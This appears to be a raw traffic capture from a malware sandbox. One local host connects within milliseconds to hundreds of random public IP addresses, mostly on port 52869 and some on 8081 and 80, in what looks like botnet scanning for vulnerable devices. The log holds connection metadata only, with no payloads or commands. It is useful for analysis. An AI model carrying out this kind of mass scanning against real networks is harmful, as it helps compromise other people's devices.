Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	100.208.53.138
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	198.91.216.39
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	198.126.6.6
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	39.201.186.201
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	168.136.131.227
Jul 20, 2024 23:05:42.547239065 CEST	43695	52869	192.168.2.13	134.250.97.130
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	151.207.11.105
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	197.247.82.167
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	177.124.46.187
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	54.226.216.136
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	191.84.106.175
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	190.135.172.134
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	149.4.190.52
Jul 20, 2024 23:05:42.548403025 CEST	43695	52869	192.168.2.13	48.251.54.82
Jul 20, 2024 23:05:42.549819946 CEST	43695	52869	192.168.2.13	62.190.170.140
Jul 20, 2024 23:05:42.549819946 CEST	43695	52869	192.168.2.13	54.23.208.207
Jul 20, 2024 23:05:42.549819946 CEST	43695	52869	192.168.2.13	109.69.158.195
Jul 20, 2024 23:05:42.549819946 CEST	43695	52869	192.168.2.13	8.4.36.142
Jul 20, 2024 23:05:42.549819946 CEST	43695	52869	192.168.2.13	99.146.20.94
Jul 20, 2024 23:05:42.549820900 CEST	43695	52869	192.168.2.13	188.56.104.207
Jul 20, 2024 23:05:42.549820900 CEST	43695	52869	192.168.2.13	42.199.4.199
Jul 20, 2024 23:05:42.549820900 CEST	43695	52869	192.168.2.13	36.173.185.90
Jul 20, 2024 23:05:42.550697088 CEST	43695	52869	192.168.2.13	115.63.234.1
Jul 20, 2024 23:05:42.550697088 CEST	43695	52869	192.168.2.13	117.185.79.10
Jul 20, 2024 23:05:42.550697088 CEST	43695	52869	192.168.2.13	190.168.154.6
Jul 20, 2024 23:05:42.550697088 CEST	43695	52869	192.168.2.13	66.192.200.111
Jul 20, 2024 23:05:42.550698042 CEST	43695	52869	192.168.2.13	59.134.246.58
Jul 20, 2024 23:05:42.550698042 CEST	43695	52869	192.168.2.13	68.248.48.49
Jul 20, 2024 23:05:42.550698042 CEST	43695	52869	192.168.2.13	171.254.221.249
Jul 20, 2024 23:05:42.550698042 CEST	43695	52869	192.168.2.13	41.183.143.246
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	152.0.164.86
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	36.127.152.84
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	31.255.56.138
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	176.250.104.166
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	31.219.175.68
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	205.57.7.246
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	194.141.154.133
Jul 20, 2024 23:05:42.550810099 CEST	43695	52869	192.168.2.13	202.129.134.129
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	97.82.105.63
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	45.61.142.44
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	63.51.207.123
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	65.236.43.249
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	193.55.48.74
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	141.109.75.38
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	50.255.5.73
Jul 20, 2024 23:05:42.551374912 CEST	43695	52869	192.168.2.13	60.254.158.250
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	72.122.238.33
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	119.70.231.98
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	94.173.232.176
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	116.34.173.44
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	199.162.235.142
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	157.51.85.188
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	167.214.138.230
Jul 20, 2024 23:05:42.553622007 CEST	43695	52869	192.168.2.13	49.225.185.80
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	4.157.190.129
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	140.102.40.152
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	61.4.31.29
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	8.194.135.211
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	74.135.165.20
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	96.245.4.158
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	93.163.33.196
Jul 20, 2024 23:05:42.553960085 CEST	43695	52869	192.168.2.13	78.182.24.116
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	165.67.246.17
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	82.33.248.18
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	126.245.229.137
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	139.215.208.4
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	179.105.100.104
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	189.165.200.253
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	193.46.3.9
Jul 20, 2024 23:05:42.554523945 CEST	43695	52869	192.168.2.13	119.209.118.223
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	111.170.120.110
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	207.232.162.63
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	144.82.141.52
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	57.72.21.67
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	126.133.64.217
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	25.59.71.80
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	185.180.161.37
Jul 20, 2024 23:05:42.554750919 CEST	43695	52869	192.168.2.13	2.51.102.26
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	8.52.114.212
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	37.101.251.198
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	145.34.54.47
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	1.180.154.17
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	41.66.176.126
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	180.246.19.38
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	220.30.230.25
Jul 20, 2024 23:05:42.557003021 CEST	43695	52869	192.168.2.13	145.70.126.217
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	59.14.100.158
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	152.248.166.27
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	218.233.190.228
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	72.7.157.55
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	130.15.132.11
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	170.241.233.70
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	72.89.88.22
Jul 20, 2024 23:05:42.557252884 CEST	43695	52869	192.168.2.13	107.13.79.171
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	135.221.101.108
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	182.77.137.172
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	167.89.114.99
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	148.183.234.226
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	84.66.98.107
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	173.45.14.187
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	44.194.56.186
Jul 20, 2024 23:05:42.559395075 CEST	43695	52869	192.168.2.13	216.185.149.14
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	190.9.184.254
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	90.100.249.60
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	180.227.68.91
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	135.106.73.121
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	19.239.59.212
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	120.121.35.45
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	48.15.37.93
Jul 20, 2024 23:05:42.560336113 CEST	43695	52869	192.168.2.13	117.152.1.46
Jul 20, 2024 23:05:42.560458899 CEST	43695	52869	192.168.2.13	190.111.145.213
Jul 20, 2024 23:05:42.560458899 CEST	43695	52869	192.168.2.13	118.65.56.176
Jul 20, 2024 23:05:42.560458899 CEST	43695	52869	192.168.2.13	48.32.125.72
Jul 20, 2024 23:05:42.560460091 CEST	43695	52869	192.168.2.13	20.191.146.142
Jul 20, 2024 23:05:42.560460091 CEST	43695	52869	192.168.2.13	4.154.121.93
Jul 20, 2024 23:05:42.560460091 CEST	43695	52869	192.168.2.13	23.254.202.30
Jul 20, 2024 23:05:42.560460091 CEST	43695	52869	192.168.2.13	136.108.229.49
Jul 20, 2024 23:05:42.560460091 CEST	43695	52869	192.168.2.13	88.161.71.105
Jul 20, 2024 23:05:42.561109066 CEST	43695	52869	192.168.2.13	81.58.226.241
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	176.196.5.125
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	169.91.238.87
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	2.106.120.34
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	98.41.112.97
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	65.176.75.115
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	111.116.90.252
Jul 20, 2024 23:05:42.561110020 CEST	43695	52869	192.168.2.13	94.48.164.27
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	141.100.64.100
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	104.147.63.128
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	164.165.56.115
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	206.15.41.191
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	40.104.142.7
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	192.101.73.68
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	54.151.32.197
Jul 20, 2024 23:05:42.562793016 CEST	43695	52869	192.168.2.13	126.7.5.219
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	58.13.141.200
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	192.121.203.206
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	1.93.188.107
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	117.19.75.70
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	107.44.96.215
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	206.13.90.182
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	175.246.213.33
Jul 20, 2024 23:05:42.564246893 CEST	43695	52869	192.168.2.13	47.82.217.77
Jul 20, 2024 23:05:42.564654112 CEST	43695	52869	192.168.2.13	218.163.37.226
Jul 20, 2024 23:05:42.564654112 CEST	43695	52869	192.168.2.13	136.238.219.134
Jul 20, 2024 23:05:42.564654112 CEST	43695	52869	192.168.2.13	167.77.192.96
Jul 20, 2024 23:05:42.564654112 CEST	43695	52869	192.168.2.13	91.183.34.180
Jul 20, 2024 23:05:42.564654112 CEST	43695	52869	192.168.2.13	96.198.250.163
Jul 20, 2024 23:05:42.564655066 CEST	43695	52869	192.168.2.13	80.24.36.106
Jul 20, 2024 23:05:42.564655066 CEST	43695	52869	192.168.2.13	76.198.183.7
Jul 20, 2024 23:05:42.564655066 CEST	43695	52869	192.168.2.13	156.130.142.130
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	108.1.62.245
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	93.240.35.99
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	139.237.162.14
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	208.234.251.123
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	18.197.57.103
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	9.5.4.205
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	17.112.208.233
Jul 20, 2024 23:05:42.567039967 CEST	43695	52869	192.168.2.13	38.103.10.41
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	27.108.119.77
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	86.49.6.16
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	89.82.30.26
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	220.144.161.223
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	75.62.70.232
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	133.245.234.195
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	117.238.16.30
Jul 20, 2024 23:05:42.567157984 CEST	43695	52869	192.168.2.13	152.5.232.74
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	145.59.179.22
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	14.10.226.210
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	123.94.180.32
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	136.167.58.203
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	184.72.205.117
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	190.224.163.39
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	196.90.159.147
Jul 20, 2024 23:05:42.567539930 CEST	43695	52869	192.168.2.13	51.154.110.175
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	70.184.72.79
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	136.232.246.8
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	198.30.209.57
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	126.97.14.80
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	93.111.249.71
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	184.11.213.53
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	195.230.178.54
Jul 20, 2024 23:05:42.567661047 CEST	43695	52869	192.168.2.13	85.182.125.250
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	217.137.94.212
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	118.103.170.188
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	91.45.87.232
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	5.140.107.193
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	51.21.238.125
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	18.248.92.133
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	162.170.139.39
Jul 20, 2024 23:05:42.570758104 CEST	43695	52869	192.168.2.13	138.82.111.150
Jul 20, 2024 23:05:42.571387053 CEST	43695	52869	192.168.2.13	8.115.233.44
Jul 20, 2024 23:05:42.571387053 CEST	43695	52869	192.168.2.13	13.255.129.209
Jul 20, 2024 23:05:42.571387053 CEST	43695	52869	192.168.2.13	222.203.236.11
Jul 20, 2024 23:05:42.571387053 CEST	43695	52869	192.168.2.13	104.75.109.195
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	161.210.198.207
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	119.77.177.88
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	200.136.135.115
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	136.11.155.8
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	213.179.162.190
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	90.103.111.91
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	41.169.117.71
Jul 20, 2024 23:05:42.571640015 CEST	43695	52869	192.168.2.13	163.230.224.77
Jul 20, 2024 23:05:42.571890116 CEST	43695	52869	192.168.2.13	90.114.150.177
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	160.171.80.71
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	183.161.154.205
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	93.189.236.124
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	61.176.42.208
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	12.74.40.184
Jul 20, 2024 23:05:42.573374033 CEST	43695	52869	192.168.2.13	211.108.105.81
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	12.12.122.183
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	190.0.219.224
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	183.251.123.10
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	47.229.190.1
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	54.210.170.82
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	9.95.49.135
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	167.158.177.29
Jul 20, 2024 23:05:42.574937105 CEST	43695	52869	192.168.2.13	42.72.97.206
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	156.227.72.141
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	39.57.214.135
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	131.216.203.92
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	150.81.30.7
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	82.231.14.253
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	181.111.144.2
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	188.144.0.144
Jul 20, 2024 23:05:42.576069117 CEST	43695	52869	192.168.2.13	186.141.229.186
Jul 20, 2024 23:05:42.576909065 CEST	43695	52869	192.168.2.13	60.147.187.163
Jul 20, 2024 23:05:42.576956987 CEST	48480	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:42.579401016 CEST	32884	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:42.581708908 CEST	54692	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:42.584331989 CEST	43346	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:42.587456942 CEST	58656	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:42.590454102 CEST	46406	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:42.592984915 CEST	46804	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:42.595504999 CEST	53164	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:42.595845938 CEST	52869	43695	216.124.81.250	192.168.2.13
Jul 20, 2024 23:05:42.595913887 CEST	52869	43695	68.9.157.176	192.168.2.13
Jul 20, 2024 23:05:42.595921040 CEST	52869	43695	156.17.232.214	192.168.2.13
Jul 20, 2024 23:05:42.595937967 CEST	52869	43695	191.84.70.100	192.168.2.13
Jul 20, 2024 23:05:42.595944881 CEST	52869	43695	161.74.32.220	192.168.2.13
Jul 20, 2024 23:05:42.595949888 CEST	52869	43695	63.168.15.11	192.168.2.13
Jul 20, 2024 23:05:42.595952034 CEST	43695	52869	192.168.2.13	68.9.157.176
Jul 20, 2024 23:05:42.595952988 CEST	43695	52869	192.168.2.13	216.124.81.250
Jul 20, 2024 23:05:42.595952034 CEST	43695	52869	192.168.2.13	156.17.232.214
Jul 20, 2024 23:05:42.595954895 CEST	52869	43695	109.62.164.191	192.168.2.13
Jul 20, 2024 23:05:42.595963001 CEST	52869	43695	141.46.20.80	192.168.2.13
Jul 20, 2024 23:05:42.595988989 CEST	52869	43695	85.143.8.50	192.168.2.13
Jul 20, 2024 23:05:42.595993042 CEST	43695	52869	192.168.2.13	191.84.70.100
Jul 20, 2024 23:05:42.595998049 CEST	52869	43695	98.174.33.140	192.168.2.13
Jul 20, 2024 23:05:42.596004963 CEST	52869	43695	167.107.49.40	192.168.2.13
Jul 20, 2024 23:05:42.596010923 CEST	43695	52869	192.168.2.13	141.46.20.80
Jul 20, 2024 23:05:42.596010923 CEST	43695	52869	192.168.2.13	109.62.164.191
Jul 20, 2024 23:05:42.596012115 CEST	52869	43695	155.145.127.128	192.168.2.13
Jul 20, 2024 23:05:42.596019030 CEST	52869	43695	53.177.163.32	192.168.2.13
Jul 20, 2024 23:05:42.596019983 CEST	43695	52869	192.168.2.13	63.168.15.11
Jul 20, 2024 23:05:42.596025944 CEST	52869	43695	116.205.25.22	192.168.2.13
Jul 20, 2024 23:05:42.596033096 CEST	52869	43695	40.115.129.129	192.168.2.13
Jul 20, 2024 23:05:42.596040010 CEST	52869	43695	162.141.35.124	192.168.2.13
Jul 20, 2024 23:05:42.596045971 CEST	52869	43695	105.223.228.154	192.168.2.13
Jul 20, 2024 23:05:42.596051931 CEST	52869	43695	71.10.225.107	192.168.2.13
Jul 20, 2024 23:05:42.596057892 CEST	52869	43695	18.48.170.155	192.168.2.13
Jul 20, 2024 23:05:42.596065044 CEST	52869	43695	59.246.178.189	192.168.2.13
Jul 20, 2024 23:05:42.596065998 CEST	43695	52869	192.168.2.13	116.205.25.22
Jul 20, 2024 23:05:42.596071005 CEST	52869	43695	93.141.201.1	192.168.2.13
Jul 20, 2024 23:05:42.596077919 CEST	52869	43695	182.7.240.137	192.168.2.13
Jul 20, 2024 23:05:42.596116066 CEST	52869	43695	4.242.69.45	192.168.2.13
Jul 20, 2024 23:05:42.596117020 CEST	43695	52869	192.168.2.13	59.246.178.189
Jul 20, 2024 23:05:42.596121073 CEST	52869	43695	95.190.229.18	192.168.2.13
Jul 20, 2024 23:05:42.596127033 CEST	52869	43695	198.163.86.10	192.168.2.13
Jul 20, 2024 23:05:42.596189976 CEST	43695	52869	192.168.2.13	40.115.129.129
Jul 20, 2024 23:05:42.596189976 CEST	43695	52869	192.168.2.13	105.223.228.154
Jul 20, 2024 23:05:42.596189976 CEST	43695	52869	192.168.2.13	4.242.69.45
Jul 20, 2024 23:05:42.596276045 CEST	43695	52869	192.168.2.13	71.10.225.107
Jul 20, 2024 23:05:42.596366882 CEST	52869	43695	134.85.77.204	192.168.2.13
Jul 20, 2024 23:05:42.596373081 CEST	52869	43695	153.188.17.228	192.168.2.13
Jul 20, 2024 23:05:42.596384048 CEST	52869	43695	117.214.26.7	192.168.2.13
Jul 20, 2024 23:05:42.596388102 CEST	52869	43695	133.20.77.139	192.168.2.13
Jul 20, 2024 23:05:42.596398115 CEST	52869	43695	115.95.178.87	192.168.2.13
Jul 20, 2024 23:05:42.596405029 CEST	52869	43695	13.183.237.18	192.168.2.13
Jul 20, 2024 23:05:42.596410990 CEST	52869	43695	59.198.217.134	192.168.2.13
Jul 20, 2024 23:05:42.596422911 CEST	52869	43695	73.104.85.87	192.168.2.13
Jul 20, 2024 23:05:42.596430063 CEST	52869	43695	207.52.197.113	192.168.2.13
Jul 20, 2024 23:05:42.596441984 CEST	52869	43695	131.81.154.242	192.168.2.13
Jul 20, 2024 23:05:42.596448898 CEST	52869	43695	135.112.188.24	192.168.2.13
Jul 20, 2024 23:05:42.596461058 CEST	52869	43695	124.25.205.216	192.168.2.13
Jul 20, 2024 23:05:42.597313881 CEST	43695	52869	192.168.2.13	18.48.170.155
Jul 20, 2024 23:05:42.597313881 CEST	43695	52869	192.168.2.13	134.85.77.204
Jul 20, 2024 23:05:42.597313881 CEST	43695	52869	192.168.2.13	133.20.77.139
Jul 20, 2024 23:05:42.597313881 CEST	43695	52869	192.168.2.13	59.198.217.134
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	161.74.32.220
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	167.107.49.40
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	155.145.127.128
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	53.177.163.32
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	153.188.17.228
Jul 20, 2024 23:05:42.597563028 CEST	43695	52869	192.168.2.13	117.214.26.7
Jul 20, 2024 23:05:42.597799063 CEST	43695	52869	192.168.2.13	85.143.8.50
Jul 20, 2024 23:05:42.597799063 CEST	43695	52869	192.168.2.13	162.141.35.124
Jul 20, 2024 23:05:42.597799063 CEST	43695	52869	192.168.2.13	93.141.201.1
Jul 20, 2024 23:05:42.597799063 CEST	43695	52869	192.168.2.13	73.104.85.87
Jul 20, 2024 23:05:42.597799063 CEST	43695	52869	192.168.2.13	131.81.154.242
Jul 20, 2024 23:05:42.600087881 CEST	43695	52869	192.168.2.13	115.95.178.87
Jul 20, 2024 23:05:42.600087881 CEST	43695	52869	192.168.2.13	207.52.197.113
Jul 20, 2024 23:05:42.600087881 CEST	43695	52869	192.168.2.13	124.25.205.216
Jul 20, 2024 23:05:42.601083994 CEST	43695	52869	192.168.2.13	98.174.33.140
Jul 20, 2024 23:05:42.601083994 CEST	43695	52869	192.168.2.13	182.7.240.137
Jul 20, 2024 23:05:42.602550983 CEST	43695	52869	192.168.2.13	95.190.229.18
Jul 20, 2024 23:05:42.602550983 CEST	43695	52869	192.168.2.13	198.163.86.10
Jul 20, 2024 23:05:42.602550983 CEST	43695	52869	192.168.2.13	13.183.237.18
Jul 20, 2024 23:05:42.603002071 CEST	43695	52869	192.168.2.13	135.112.188.24
Jul 20, 2024 23:05:42.656076908 CEST	21679	80	192.168.2.13	95.61.185.214
Jul 20, 2024 23:05:42.656076908 CEST	21679	80	192.168.2.13	95.216.59.26
Jul 20, 2024 23:05:42.656076908 CEST	21679	80	192.168.2.13	95.38.12.63
Jul 20, 2024 23:05:42.656076908 CEST	21679	80	192.168.2.13	95.125.201.25
Jul 20, 2024 23:05:42.662604094 CEST	21679	80	192.168.2.13	95.169.185.0
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.4.216.90
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.155.225.105
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.234.57.122
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.37.75.222
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.219.88.62
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.232.212.27
Jul 20, 2024 23:05:42.662605047 CEST	21679	80	192.168.2.13	95.59.222.128
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.94.98.164
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.150.139.158
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.162.249.16
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.193.155.89
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.120.178.191
Jul 20, 2024 23:05:42.663182020 CEST	21679	80	192.168.2.13	95.164.42.177
